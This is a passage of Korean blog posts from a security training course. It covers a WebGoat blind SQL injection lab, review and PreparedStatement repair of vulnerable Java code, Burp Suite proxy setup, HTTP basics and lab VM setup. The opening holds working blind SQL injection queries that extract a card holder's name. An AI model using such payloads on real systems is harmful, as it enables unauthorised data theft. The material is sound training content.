<pre><code class="language-sql">select * from accounts where account_number = 102 and (select ascii(substr(name, 1, 1)) from pins where cc_number = &#39;4321432143214321&#39;) &lt; 46</code></pre>
<br>

<h2 id="4-찾는-값"><strong>4) 찾는 값</strong></h2>
<p>위 범위 연산을 해서 최종으로 찾는 값은 Jill이 된다.</p>
<pre><code class="language-sql">select * from accounts where account_number = 102 and (select name from pins where cc_number = &#39;4321432143214321&#39;) = &#39;Jill&#39;</code></pre>
<br>

<p>이 코드를 입력하면 Account number is valid가 나오는 것을 볼 수 있다. </p>
<br>

<h1 id="10-취약한-소스코드-확인"><strong>10. 취약한 소스코드 확인</strong></h1>
<blockquote>
<p><strong>Ctrl + Shift + R (Open Resource, 열려 있는 프로젝트에서 특정 패턴의 파일을 검색해서 열어주는 도구)</strong></p>
</blockquote>
<p>이클립스에서 파일을 찾는다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/270f1d71-f92f-44d0-92ec-3e8d783224d6/image.png" alt=""></p>
<p>Ctrl + Shift + F를 눌러 자동으로 코드 내용을 문법 템플릿에 맞게 포맷팅(들여쓰기) 한다. </p>
<p>69번 줄 protected Element createContent(WebSession s) 함수 안에 있는 문구 중 77번 줄, 84번 줄, 106~108줄을 본다.</p>
<br>

<h2 id="1-77번-줄"><strong>1) 77번 줄</strong></h2>
<pre><code class="language-java">String accountNumber = s.getParser().getRawParameter(ACCT\_NUM, &quot;101&quot;);</code></pre>
<ul>
<li>요청 파라미터 중 ACCT_NUM 파라미터의 값을 가져와서 반환</li>
<li>만약 파라미터 또는 파라미터의 값이 없는 경우 101을 반한</li>
</ul>
<br>

<h2 id="2-문제점-1"><strong>2) 문제점</strong> </h2>
<p>외부 입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 문자열 결합 방식의 쿼리문 생성하고 있음</p>
<p>외부 입력값에 의해 쿼리의 구조와 의미가 변형될 수 있음</p>
<br>

<h3 id="1-84번-줄"><strong>(1) 84번 줄</strong></h3>
<pre><code class="language-java">String query = &quot;SELECT \* FROM user\_data WHERE userid = &quot; + accountNumber;</code></pre>
<ul>
<li>문자열 결합 방식으로 쿼리를 생성</li>
</ul>
<br>

<h3 id="2-106번-줄"><strong>(2) 106번 줄</strong></h3>
<pre><code class="language-java">Statement statement = connection.createStatement(

ResultSet.TYPE\_SCROLL\_INSENSITIVE, ResultSet.CONCUR\_READ\_ONLY); ResultSet results = statement.executeQuery(query);</code></pre>
<br>

<p>Statement 구문을 통해서 만들어진 쿼리를 그대로 실행</p>
<p>위 80번, 87번에서 쿼리 조작 문자열 포함 여부를 검증하지 않고 문자열 결합 방식으로 쿼리를 생성하면서 문제가 있었는데, 쿼리를 실행하는 부분에서도 만들어진 쿼리를 그대로 실행해서 문제가 발생한다.</p>
<br>

<h2 id="4-java-statement-객체"><strong>4) Java Statement 객체</strong></h2>
<h3 id="1-statement"><strong>(1) Statement</strong> </h3>
<ul>
<li>만들어진 문자열 형태의 쿼리를 그대로 전달해서 실행</li>
<li>쿼리 생성 책임이 개발자에게 있음</li>
</ul>
<br>

<h3 id="2-preparedstatement"><strong>(2) PreparedStatement</strong></h3>
<ul>
<li>미리 정의한 쿼리 구조에 맞춰서 쿼리를 생성해서 DB로 전달해서 실행</li>
<li>쿼리 구조 정의는 개발자가 하고, 쿼리 생성은 해당 객체가 책임지고 수행</li>
</ul>
<br>

<h3 id="3-callablestatement"><strong>(3) CallableStatement</strong></h3>
<ul>
<li>DB에 정의되어 있는 Stored Procedure를 호출할 때 사용</li>
</ul>
<br>

<h2 id="5-취약한-소스-코드-안전하게-변경"><strong>5) 취약한 소스 코드 안전하게 변경</strong></h2>
<h3 id="1-84번-줄-1"><strong>(1) 84번 줄</strong></h3>
<pre><code class="language-java">String query = &quot;SELECT * FROM user_data WHERE userid = &quot; + accountNumber;</code></pre>
<ul>
<li>PreparedStatement 객체를 이용해서 미리 정의한 구조로 쿼리가 실행되는 것을 보장<ul>
<li>구조화된 쿼리 실행 또는 파라미터화된 쿼리 실행</li>
</ul>
</li>
</ul>
<br>

<pre><code class="language-py">String query = &quot;SELECT * FROM user_data WHERE userid = ? &quot;;</code></pre>
<ul>
<li>쿼리의 구조를 정의<ul>
<li>변수 부분을 ?로 표시 (데이터 타입을 고려하지 않음 = 따옴표를 포함하지 않음)</li>
</ul>
</li>
</ul>
<br>

<p>userid 문자열이면 따옴표가 있어야 하지만 PreparedStatement에서 쿼리를 정의할 때는 숫자인지, 문자열인지 구분하지 않아서 변수가 들어가는 부분에 물음표를 쓴다.</p>
<h3 id="2-106번-줄-1"><strong>(2) 106번 줄</strong></h3>
<pre><code class="language-java">Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);</code></pre>
<ul>
<li>PreparedStatement 객체 생성<ul>
<li>connection.prepareStatement() 메서드를 이용해서 생성</li>
<li>매매 변수의 값으로 쿼리 구조 전달</li>
</ul>
</li>
</ul>
<br>

<pre><code class="language-java">&gt; PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);</code></pre>
<ul>
<li>객체 생성 시 쿼리 구조를 미리 정의</li>
<li>Ctrl + Shift + O 눌러서 PreparedStatement import </li>
</ul>
<br>

<pre><code class="language-java">ResultSet results = statement.executeQuery(query);</code></pre>
<ul>
<li>쿼리 실행에 필요한 변수를 성정하고 쿼리를 실행<ul>
<li>변숫값이 할당되는 컬럼의 데이터 타입에 맞는 메서드를 사용해야 함</li>
<li>쿼리 실행 메서드에 쿼리문을 전달하지 않아야 함</li>
</ul>
</li>
</ul>
<br>

<pre><code class="language-java">statement.setInt(1, Integer.parseInt(accountNumber));  
ResultSet results = statement.executeQuery();</code></pre>
<ul>
<li>데이터 타입에 맞춰서 해당하는 메서드를 선택(int)</li>
<li>변수의 값을 할당(PreparedStatement는 인덱스가 1부터 시작)<ul>
<li>공격 문자가 포함되면 숫자 변환 시 오류가 발생</li>
</ul>
</li>
<li>쿼리 구문이 PreparedStatement에 이미 정의되어 있으므로 executeQuery() 메서드에 쿼리문을 전달하지 않음</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안] - WebGoat, Burp Suite]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-Burp-Suite</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-Burp-Suite</guid>
            <pubDate>Sun, 24 Mar 2024 13:43:38 GMT</pubDate>
            <description><![CDATA[<h1 id="1-webgoat-실행"><strong>1. WebGoat 실행</strong></h1>
<blockquote>
<p><strong>C:\FullstackLAB\run.bat 실행</strong></p>
</blockquote>
<p>작업 관리자에 MySQL 서비스가 실행되고 있으면 실행할 때 오류가 발생할 수 있다.</p>
<p>작업 관리자를 실행해 MySQL을 종료하고 실행해야 한다.</p>
<br>

<h2 id="1-tomcat-서버-실행"><strong>1) Tomcat 서버 실행</strong></h2>
<blockquote>
<p><strong>이클립스에서 서버를 실행</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/07b08ed9-0785-4d41-81fd-1b3931acbff5/image.png" alt=""></p>
<ol>
<li>JavaEE 퍼스펙티브로 전환(옵션)</li>
<li>퍼스펙티브를 초기화 (옵션)</li>
<li>Server 탭을 클릭, 등록된 서버 확인</li>
<li>Tomcat을 선택, 실행할 서버를 선택</li>
<li>디버거 모드 또는 실행 모드로 서버 실행</li>
</ol>
<br>

<p>실행 시 화면 비율이 사진과 같지 않다면 1번부터 진행하고, 사진과 같은 비율이라면 3번부터 하면 된다.</p>
<br>

<h2 id="2-서버-실행-확인"><strong>2) 서버 실행 확인</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/519d9286-9dbc-4dda-8ee6-216e4ab2548a/image.png" alt=""></p>
<br>

<h2 id="3-indexhtml-추가"><strong>3) index.html 추가</strong></h2>
<blockquote>
<p><strong>index.html이 없으면 로그인 후 404 오류 발생</strong></p>
</blockquote>
<p>이클립스 WebGoat\src\main\webapp\ 에서 오른쪽 클릭 후 New HTML File을 선택해서 index.html 추가</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/945930a8-321b-499e-9f36-e07c9285ef9c/image.png" alt=""></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/1f343394-f5cc-472d-a876-ba9a540fc1a9/image.png" alt=""></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/fa22e0ac-4bb4-4ff9-ac3f-3cc4d27a004f/image.png" alt=""></p>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta charset=&quot;EUC-KR&quot;&gt;
&lt;title&gt;Insert title here&lt;/title&gt;
&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=attack&quot;&gt;&lt;/meta&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<br>

<h1 id="2-kali-가상머신-프록시-설정"><strong>2. Kali 가상머신 프록시 설정</strong></h1>
<blockquote>
<p> <strong>Proxy는 중간, 대리, 중계</strong></p>
</blockquote>
<p>프록시는 클라이언트와 웹서버가 요청과 응답을 할 때 중간에서 중계해 주는 것이다.</p>
<ul>
<li>요청과 응답 내용을 모니터링 가능</li>
<li>모니터링한 내용 기록(히스토리), 재생, 분석</li>
<li>요청 데이터가 통과할 때 모니터링 하기 위해 일시적으로 멈추게 하는 기능을 Intercept라고 한다.</li>
</ul>
<br>

<h2 id="1-burp-suite"><strong>1) Burp Suite</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/cb970140-d76a-4c13-bd50-fe935d37cf97/image.png" alt=""></p>
<br>

<h3 id="1-proxy-listener-설정"><strong>(1) Proxy listener 설정</strong></h3>
<blockquote>
<p><strong>Proxy &gt; Proxy settings &gt; Proxy listener 체크 확인</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/51c4be7c-cb16-4291-87c9-fdf74e069364/image.png" alt=""></p>
<br>

<h2 id="2-firefox-브라우저-프록시-사용-설정"><strong>2) Firefox 브라우저 프록시 사용 설정</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/dd777248-6b35-4a36-9913-f36d702ae95c/image.png" alt=""></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/e6967784-24bf-4607-ab80-4a57e17f54be/image.png" alt=""></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/cd72a10c-9c5a-45d6-848f-00df1d8e0fca/image.png" alt=""></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/f14f1346-9e24-415a-b1c8-8f6a4fd5aa81/image.png" alt=""></p>
<br>

<h1 id="3-burpsuite-intercept-사용"><strong>3. BurpSuite Intercept 사용</strong></h1>
<blockquote>
<p><strong>BurpSuite에서 Intercept on 설정 상태에서 Firefox를 이용해 WebGoat 사이트로 요청</strong></p>
</blockquote>
<br>

<h2 id="1-iintercept-on"><strong>1) Iintercept on</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2911c810-9ba4-4145-a370-cd03a2f827ab/image.png" alt=""></p>
<br>

<h2 id="2-webgoat-요청"><strong>2) WebGoat 요청</strong></h2>
<ul>
<li>요청을 인터셉터 해서 어떻게 처리할 건지 물어봄</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c9872740-ab05-4469-b1eb-e59d8bc13fb9/image.png" alt=""></p>
<p>일반적으로 /WebGoat이라고 하면 WebGoat는 파일을 나타낸다.</p>
<br>

<ul>
<li>Forward 클릭</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ce5de022-f8b3-4aa9-a0f9-b74dd54e7a0a/image.png" alt=""></p>
<p>/WebGoat/ 은 WebGoat이라는 디렉터리를 요청</p>
<br>

<ul>
<li>Forward 클릭</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/6af5ec1d-b48c-4e0e-ad34-2d27ddd9dee3/image.png" alt=""></p>
<p>/WebGoat/attack 반환한다. WebGoat 디렉터리에 attack 파일을 요청</p>
<br>

<h1 id="4-http-history-탭을-통해-요청--응답-과정을-확인"><strong>4. HTTP History 탭을 통해 요청 / 응답 과정을 확인</strong></h1>
<blockquote>
<p><strong>http:/<hi></hi>/host.py:8080/WebGoat으로 요청했을 때 리다이렉터 응답(http:/<hi></hi>/host.pc:8080/WebGoat/로 재요청)받음</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/4b0baf66-d376-407d-8c6c-f3c107a56a71/image.png" alt=""></p>
<ol>
<li>http:/<hi></hi>/host.pc:8080/WebGoat/으로 요청</li>
<li>디렉터리 리스팅 옵션 확인 후 기본 페이지 검색</li>
<li>기본 페이지(index.html)를 응답으로 반환</li>
<li>index.html 파일 내용에 attack 페이지로 재요청이 포함되어 있음</li>
</ol>
<br>

<h2 id="1-indexhtml-확인"><strong>1) index.html 확인</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/78a3fdd8-a704-4184-9543-7ba1bf595f38/image.png" alt=""></p>
<br>

<h2 id="2-attack-파일의-내용을-응답으로-반환"><strong>2) attack 파일의 내용을 응답으로 반환</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/db434c61-0db9-4d2a-9b64-90d26020a025/image.png" alt=""></p>
<p>주소를 한 번만 입력했는데 눈에 보이지 않게 여러 번 리다이렉션을 내부적으로 하고 있다. 눈으로 보면 볼 수 없지만 Proxy 도구를 이용해서 따라가면 볼 수 있다. 웹 애플리케이션은 엄청나게 많은 리다이렉션을 하는데 그것을 트레이싱 하기 위해서는 이러한 도구를 사용해야 한다.</p>
<p>사용하는 방법을 익히고 익숙해져야 한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안] - 애플리케이션 보안 1]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-1</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-1</guid>
            <pubDate>Sun, 24 Mar 2024 12:02:22 GMT</pubDate>
            <description><![CDATA[<h1 id="1-애플리케이션-보안"><strong>1. 애플리케이션 보안</strong></h1>
<br>

<p>웹 애플리케이션에서는 클라이언트, Web 서버, WAS 서버, DB 서버가 있다.</p>
<p>클라이언트가 웹에 요청할 때 static한 데이터는 웹에서 실행하고, dynamic한 데이터는 WAS 서버 관련된 데이터를 DB 서버에서 조회해서 그에 맞는 응답을 전달한다.  </p>
<p>이때, 클라이언트에서 오는 데이터가 안전한지 아닌지를 판단해야 하고, 그 판단이 안전하지 않다고 판단되는 것들은 더 이상 내부로 진입할 수 없도록 하는 기법들이 나온다. </p>
<p>기법 중 가장 앞에 나오는 것은 방화벽인데 방화벽은 특정 IP나 특정 Port로의 진입과 진출을 제어하는 데 사용한다.</p>
<p>Web 서버에 접근할 때 80 포트를 사용할 때, 80 포트로만 접근해야 하는데, 80 포트가 아닌 허용하지 않는 포트로 접근한다는 것은 정상적이지 않은 작업을 한다는 것이라고 할 수 있다. IP 주소와 포트 번호가 들어오고 나가는 것을 제어하는 것을 방화벽이 한다.</p>
<p>방화벽만으로 모든 것을 막을 수 있을까?</p>
<p>만약 동적인 데이터가 들어와서 DB 서버에 쿼리를 전달해 데이터를 받아와야 할 때 방화벽은 동적인 데이터나 쿼리문에 대해 제어하지 않고 서버 주소가 맞고 서비스 포트가 맞으면 통과한다.</p>
<p>동적인 매개변수에 올 수 없는 값들이 포함되는 것을 방화벽은 모른다. 이를 확인할 수 있는 것이 WAF(웹 애플리케이션 방화벽)라고 한다.</p>
<p>WAF는 웹으로 넘어오는 매개변수들의 패턴을 추출해서 검증해 서버로 들어가지 못하도록 막아주는 역할을 한다.</p>
<p>기존 방화벽의 한계를 보완해 준다.</p>
<p>방화벽과 WAF는 네트워크 단에서 H/W 기반으로 방어하는 것이다. </p>
<p>이 두 가지를 사용해서 100% 막을 수 있을까? 100%로 막기는 어렵다. </p>
<p>방호벽, IDS/IPS, 웹 방화벽에서의 침해사고 발생빈도는 크게 높지 않다. 최근 침해사고는 서버 구간에서 제일 많이 나온다. 잘못 만들어진 애플리케이션의 취약점으로 인해 보안 사고가 발생하는데 최근 조사에 따르면 이곳에서 보안사고 92%가 생긴다고 한다.</p>
<p>이러한 보안 사고를 막기 위해서는 시큐어 코딩해야 한다. 가이드라인을 확인하고 그것에 맞게 시큐어 코딩해야 한다.</p>
<p>사전점검을 통해 SW 개발 보안이 이루어지면 취약점 조치 비용이 절약된다. 설계단계 대비 최대 30배의 취약점 수정 비용 절약할 수 있다.</p>
<br>

<h2 id="1-가이드라인"><strong>1) 가이드라인</strong></h2>
<blockquote>
<p><a href="https://www.kisa.or.kr/2060207">가이드라인 페이지</a></p>
</blockquote>
<p>가이드라인은 종류별로 있으니 필요한 것을 찾아 확인 후 가이드라인에 맞게 개발해야 보안 사고가 줄어든다.</p>
<br>

<h2 id="2-안전한-sw-개발"><strong>2) 안전한 SW 개발</strong></h2>
<blockquote>
<p>소스코드 등에 존재할 수 있는 잠재적인 보안 약점을 제거하고, 보안을 고려하여 기능을 설계 구현하는 등<br>SW 개발 과정에서 실행되는 일련의 보안 활동을 수행해야 한다.</p>
</blockquote>
<p>시큐어 코딩과 SW 개발 보안 활동을 해야 한다.</p>
<ul>
<li>애플리케이션의 문제점 도출<ul>
<li>정적 분석과 동적 분석은 상호 보완적 관계로 항상 함께 적용해야 함</li>
</ul>
</li>
<li>정적 분석<ul>
<li>애플리케이션을 실행하지 않고 소스 코드의 내용, 형태, 구문 등을 분석해서 문제가 있는지 확인</li>
<li>코드 리뷰</li>
</ul>
</li>
<li>동적 분석<ul>
<li>애플리케이션을 실행해서 원하는(계획한) 결과가 제공되는지를 확인</li>
<li>디버깅, 부하 테스트, 모의해킹, 침투 테스트</li>
<li>인증 및 인가와 같이 정적 분석으로 파악이 힘든 경우 수행</li>
</ul>
</li>
</ul>
<br>

<h2 id="3-소프트웨어-보안-약점"><strong>3) 소프트웨어 보안 약점</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2265033e-0d11-42e7-a8c3-4e6e6e8927a0/image.png" alt="" title="소프트웨어 보안 약점"></p>
<br>

<h1 id="2-http"><strong>2. HTTP</strong></h1>
<h2 id="1-특징"><strong>1) 특징</strong></h2>
<ul>
<li>HTTP는 단순</li>
<li>HTTP는 확장 가능</li>
<li>HTTP 이전 요청과 현재 요청 사이의 관계를 유지하지 않지만, 세션을 사용하여 클라이언트 상태를 유지<ul>
<li>성공적으로 완료된 두 개의 요청 사이에는 연결고리가 없음</li>
<li>헤더 확장성을 사용하여, 동일한 컨텍스트, 동일한 상태를 공유하기 위해 각각의 요청들에 세션을 만들도록 쿠키를 추가</li>
</ul>
</li>
<li>HTTP 연결<ul>
<li>HTTP/1.0 : 요청/응답 교환에 대한 각각의 TCP 연결을 생성, 비연결성만 지원</li>
<li>HTTP/1.1 : 파이프라이닝 개념과 지속적인 연결의 개념 도입, 멀티플렉싱 등 지원</li>
<li>HTTP/1.2 : 단일 연결을 통해 메시지 다중화, 더욱 효율적인 연결 관리, 헤더 압축 등 지원 </li>
</ul>
</li>
</ul>
<br>

<h2 id="2-흐름"><strong>2) 흐름</strong></h2>
<blockquote>
<p><strong>연결, 요청, 응답, 연결 해제</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/b00eb37e-2588-49b6-a8b3-1385b13c0dbe/image.png" alt="" title="HTTP 흐름"></p>
<br>

<h2 id="3-요청"><strong>3) 요청</strong></h2>
<ul>
<li>웹 브라우저가 웹 서버에게 자원을 요청</li>
<li>시작줄, 요청 헤더, 요청 본문으로 구성</li>
<li>시작줄은 &quot;요청 방식(method) + URI(URL) + 프로토콜 버전&quot;으로 구성</li>
<li>요청 헤더와 요청 본문 사이에는 1개의 빈 공백 라인이 존재<ul>
<li>이것을 통한 공격기법이 있기 때문에 중요한 특징이다.</li>
</ul>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/27505fce-29e6-4cd9-9971-59cf9bb2f0d6/image.png" alt="" title="HTTP 요청"></p>
<br>

<h2 id="4-응답"><strong>4) 응답</strong></h2>
<ul>
<li>웹 브라우저의 요청에 대한 처리 결과 전달</li>
<li>시작줄, 응답 헤더, 응답 본문으로 구성</li>
<li>시작줄은 &quot;프로토콜 버전 + 상태 코드 + 상태 메시지&quot;로 구성</li>
<li>응답 헤더, 응답 본문을 구분하는 기준은 1개의 공백 라인</li>
<li>응답 헤더는 브라우저에 서버가 전달해 주는 부가적인 정보</li>
<li>응답 본문은 내가 요청한 실질적인 데이터</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c704bb3f-8b22-4aa1-ac64-08f035ddc5d6/image.png" alt="" title="HTTP 응답"></p>
<br>

<h2 id="5-요청-메서드"><strong>5) 요청 메서드</strong></h2>
<h3 id="1-get"><strong>(1) GET</strong></h3>
<ul>
<li>웹 서버로 자원을 요청할 때 사용(default)</li>
<li>요청 파라미터를 URL에 포함해서 전달하는 방식</li>
<li>전송할 수 있는 데이터의 크기가 제한(지금은 거의 무한대)</li>
<li>북마크가 필요한 경우에 사용</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/6528675a-280c-4821-8e98-3362dcbac6de/image.png" alt="" title="GET 메서드"></p>
<br>

<h3 id="2-post-메서드"><strong>(2) POST 메서드</strong></h3>
<ul>
<li>웹 서버로 자원을 요청할 때 사용</li>
<li>요청 파라미터를 요청 본문에 포함해서 전달하는 방식</li>
<li>전송할 수 있는 데이터의 크기 제한이 없음(시간제한 개념)</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8ee1ea2d-081d-43db-9909-adc52a712057/image.png" alt="" title="POST 메서드"></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안 ] - 실습 환경 구성]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-%EC%8B%A4%EC%8A%B5-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%84%B1</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-%EC%8B%A4%EC%8A%B5-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%84%B1</guid>
            <pubDate>Sun, 24 Mar 2024 08:47:39 GMT</pubDate>
            <description><![CDATA[<h1 id="1-실습-프로그램-다운로드"><strong>1. 실습 프로그램 다운로드</strong></h1>
<ul>
<li><a href="https://www.vmware.com/go/getworkstation-win">VMware workstation</a></li>
<li><a href="https://drive.google.com/file/d/1qjAzKSw9sEw6yOaZn1WTD5VR467cl33R/view?usp=sharing">WebGoat</a></li>
<li><a href="https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download">bWAPP</a></li>
<li><a href="https://cdimage.kali.org/kali-2023.4/kali-linux-2023.4-vmware-amd64.7z">Kali Linux</a></li>
</ul>
<p>다운로드 후 설치와 압축 해제한다. 단, WebGoat 파일인 FullstackLAB_20240312은 C:\ 경로에 압축 해제해야 한다.</p>
<br>

<h1 id="2-vmware-workstation"><strong>2. VMware workstation</strong></h1>
<p>위 링크는 VMware workstation Pro의 링크다. workstation Pro는 무료 30일 라이선스만 지원하고 시리얼 키를 구매해야 정상적인 사용이 가능하다. 무료 30일 라이선스가 만료되어도 가상머신의 전원만 못 켤 뿐 생성 및 기타 작업이 가능하다.</p>
<p><del>(구글, Github 등 인터넷에 시리얼 키가 돌아다닌다고는 하는데.... )</del> 추천하진 않는다. 각자의 판단하에 선택하기를 바란다.                          </p>
<p>Pro의 가장 유용한 기능은 스냅샷 기능이다. Pro의 무료 30일 라이선스가 지나면 대부분 스냅샷 기능을 사용하기 위해 설치한다고 할 수 있다. </p>
<p>그래서 Pro는 스냅샷 기능만 사용하고 Workstation Player에서 실습하는 것을 추천한다.</p>
<p>Player는 비상업용으로는 무료이기 때문에 큰 제약은 없지만 Pro에 있는 기능을 전부 사용할 수는 없다.</p>
<p>Player는 Pro를 설치하면 같이 설치되는데 Pro를 설치한 위치로 들어가면 Player 프로그램을 찾을 수 있다.</p>
<h2 id="1-player"><strong>1) Player</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8265a354-0f07-4eb7-935b-4239ededf13b/image.png" alt="" title="VMware Player"></p>
<p>압축 해제한 kali와 Bee-box를 open 메뉴를 이용해 추가 해준다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/71d76b1f-0d45-4836-b615-c7bff40d9048/image.png" alt="" title="추가"></p>
<p>Bee-box는 설정이 필요하다. Bee-box를 선택 후 settings에 들어간다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/9b106766-4bb8-48e7-bf3e-ed9abd54ae00/image.png" alt="" title="설정"></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/39e802c4-c5e6-46d9-8a16-1003b58c8739/image.png" alt="" title="설정"></p>
<p>Bee-box의 세팅을 열고 Network Adapter에 보면 Bridged로 되어 있는데 NAT로 변경해야 실습이 가능하다.</p>
<p>같은 네트워크 안에서 서로 주고받아야 하는데 Bridged로 하면 같은 네트워크 IP로 할당되지 않게 된다.</p>
<br>

<h2 id="2-vmware-workstation-pro"><strong>2) VMware workstation Pro</strong></h2>
<p>pro는 Snap shot을 하기 위한 것이다. 스냅샷은 지금 당장 하지 않고 가상환경의 설정이 끝나면 사용할 것이기 때문에 밑에 가상환경 설정 후 다시 설명한다.</p>
<br>

<h1 id="3-bee-box"><strong>3. Bee-box</strong></h1>
<blockquote>
<p><strong>키보드 설정</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/713fb671-07c2-4dd9-a0ac-37fc03f0b332/image.png" alt="" title="키보드 설정"></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/47cacc76-8494-4a50-a1e7-1d9d83f2d59d/image.png" alt="" title="키보드 설정"></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/434bd8b1-f32b-41a3-a75e-8df4c2aaa5c7/image.png" alt="" title="키보드 설정"></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/2859ba18-452d-4eb6-afd1-1c49dad6d5af/image.png" alt="" title="키보드 설정"></p>
<br>

<h1 id="4-kali"><strong>4. Kali</strong></h1>
<p>칼리의 로그인 ID와 비밀번호는 Kali다.</p>
<p>킬리의 설정은 크게 할 필요는 없는데 실습하다 보면 절전모드로 들어가 화면이 꺼진다. 화면이 꺼지면 ID와 비밀번호를 다시 입력해서 들어가야 하는 불편함이 생긴다. 그래서 절전모드 설정을 끄거나 로그인 화면을 없애면 되는데 간단하게 절전모드 끄는 것을 선택했다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/ba0ea9b0-2eac-46c9-9479-bc9525558647/image.png" alt=""></p>
<p>Kali에서 시작메뉴를 누르고 Settings에서 Power Manager로 들어간다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2b70ca7f-b98d-479c-ad8a-94248f2fb776/image.png" alt=""></p>
<p>Power Manager에서 Display로 들어오면 나오는 화면인데 비활성화하고, blank after 설정이 Never가 나올 수 있도록 왼쪽 끝으로 설정하면 된다. Plugged in에서도 같은 설정을 하면 된다.</p>
<p>이 pc는 노트북이어서 두 가지 설정이 나왔지만, 데스크탑이라면 On battery와 Plugged in 탭이 없기 때문에 한 번만 설정하면 된다.</p>
<br>

<h1 id="5-각-가상머신의-ip-확인-후-hosts-파일에-등록"><strong>5. 각 가상머신의 IP 확인 후 hosts 파일에 등록</strong></h1>
<h2 id="1-ip-확인"><strong>1) IP 확인</strong></h2>
<h3 id="1-kali"><strong>(1) Kali</strong></h3>
<ul>
<li>ifconfig</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/d3f67536-f3dc-4d1f-a71c-8d227930c33b/image.png" alt="" title="IP 확인"></p>
<br>

<h3 id="2-bee-box"><strong>(2) Bee-box</strong></h3>
<ul>
<li>ifconfig</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c7c9e386-0a80-4c87-8b5d-8f66d31c04e9/image.png" alt="" title="IP 확인"></p>
<br>

<h3 id="3-host-pc"><strong>(3) Host PC</strong></h3>
<ul>
<li>ipconfig</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/a8a4107f-3202-49d0-8da5-27ff4287ae71/image.png" alt="" title="IP 확인"></p>
<br>

